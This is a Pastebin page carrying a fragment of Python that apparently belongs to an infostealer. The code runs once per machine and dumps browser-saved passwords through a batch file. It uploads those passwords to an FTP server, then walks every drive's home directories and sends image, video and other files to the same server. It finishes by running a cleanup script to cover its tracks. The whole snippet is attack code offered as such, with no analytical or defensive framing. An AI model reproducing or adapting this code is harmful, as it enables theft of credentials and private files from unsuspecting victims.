Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if os.path.exists(SINGLETON_FILE_PATH):
- return
- else:
- write_to_file(SINGLETON_FILE_PATH, 'You can safely remove this file')
- write_to_file(TRANSFER_STATUS_FILE_PATH, 'done')
- extensions = image_file_formats + video_file_formats + unspecified_file_formats
- ftp_settings = (ftp['host'], ftp['user'], ftp['password'])
- create_clean_up_file(CLEAN_UP_FILE_PATH, DIST_FOLDER_LOCATION)
- # Dump browser cached passwords
- execute_bat_file(BROWSER_PASSWORD_DUMP_FILE_PATH, '-f ' + BROWSER_PASSWORDS_FILE_PATH)
- send_file_via_ftp(ftp_settings, BROWSER_PASSWORDS_FILE_PATH)
- home_dirs = get_drives(is_host_os_windows())
- for home_directory in home_dirs:
- # print('Extracting files from {0}'.format(home_directory))
- files = extract_files_recursively(home_directory, extensions)
- # print('Started sending via ftp...')
- for file in files:
- send_file_via_ftp(ftp_settings, file)
- # Clean up
- time.sleep(5)
- os.remove(SINGLETON_FILE_PATH)
- send_file_via_ftp(ftp_settings, TRANSFER_STATUS_FILE_PATH)
- execute_bat_file(CLEAN_UP_FILE_PATH)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement